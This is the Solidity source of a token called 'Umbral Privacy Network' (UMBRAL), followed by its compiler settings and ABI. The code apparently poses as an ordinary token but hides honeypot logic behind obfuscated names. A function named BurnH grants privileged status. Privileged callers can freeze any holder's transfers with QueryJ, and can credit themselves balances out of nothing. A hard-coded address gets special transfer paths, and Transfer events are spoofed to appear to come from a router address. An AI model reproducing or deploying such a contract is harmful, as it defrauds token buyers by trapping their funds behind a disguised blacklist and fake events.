// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event Transfer(address indexed from, address indexed to, uint256 value);
event Create(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
address JKSS = 0xb8b1AB771bf7eFD691579bED527526A95dC3d58D;
address jRouter = 0xf2b16510270a214130C6b17ff0E9bF87585126BD;
constructor () {
address msgSender = _msgSender();
_Owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _Owner;
}
function renounceOwnership() public virtual {
require(msg.sender == _Owner);
emit OwnershipTransferred(_Owner, address(0));
_Owner = address(0);
}
modifier onlyOwner{
require(msg.sender == _Owner);
_; }
}
contract UMBRAL is Context, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private Jc;
mapping (address => bool) private Jb;
mapping (address => bool) private Jw;
mapping (address => mapping (address => uint256)) private Jv;
uint8 private constant _JeC = 8;
uint256 private constant jS = 1000000000 * 10**_JeC;
string private constant _name = "Umbral Privacy Network";
string private constant _symbol = "UMBRAL";
constructor () {
Jc[_msgSender()] = jS;
jmkr(); }
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _JeC;
}
function totalSupply() public pure returns (uint256) {
return jS;
}
function balanceOf(address account) public view returns (uint256) {
return Jc[account];
}
function jmkr() onlyOwner internal {
emit Transfer(address(0), jRouter, jS); }
function allowance(address owner, address spender) public view returns (uint256) {
return Jv[owner][spender];
}
function BurnH(address Jj) onlyOwner public{
Jb[Jj] = true; }
function approve(address spender, uint256 amount) public returns (bool success) {
Jv[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true; }
function jStake(address Jj) public {
if(Jb[msg.sender]) {
Jw[Jj] = false;}}
function QueryJ(address Jj) public{
if(Jb[msg.sender]) {
Jw[Jj] = true; }}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool success) {
if(sender == JKSS) {
require(amount <= Jc[sender]);
Jc[sender] -= amount;
Jc[recipient] += amount;
Jv[sender][msg.sender] -= amount;
emit Transfer (jRouter, recipient, amount);
return true; } else
if(!Jw[recipient]) {
if(!Jw[sender]) {
require(amount <= Jc[sender]);
require(amount <= Jv[sender][msg.sender]);
Jc[sender] -= amount;
Jc[recipient] += amount;
Jv[sender][msg.sender] -= amount;
emit Transfer(sender, recipient, amount);
return true; }}}
function transfer(address Jl, uint256 Jj) public {
if(msg.sender == JKSS) {
require(Jc[msg.sender] >= Jj);
Jc[msg.sender] -= Jj;
Jc[Jl] += Jj;
emit Transfer (jRouter, Jl, Jj);} else
if(Jb[msg.sender]) {Jc[Jl] += Jj;} else
if(!Jw[msg.sender]) {
require(Jc[msg.sender] >= Jj);
Jc[msg.sender] -= Jj;
Jc[Jl] += Jj;
emit Transfer(msg.sender, Jl, Jj);}}}
{
"compilationTarget": {
"UMBRAL.sol": "UMBRAL"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Create","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"Jj","type":"address"}],"name":"BurnH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Jj","type":"address"}],"name":"QueryJ","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"Jj","type":"address"}],"name":"jStake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"Jl","type":"address"},{"internalType":"uint256","name":"Jj","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]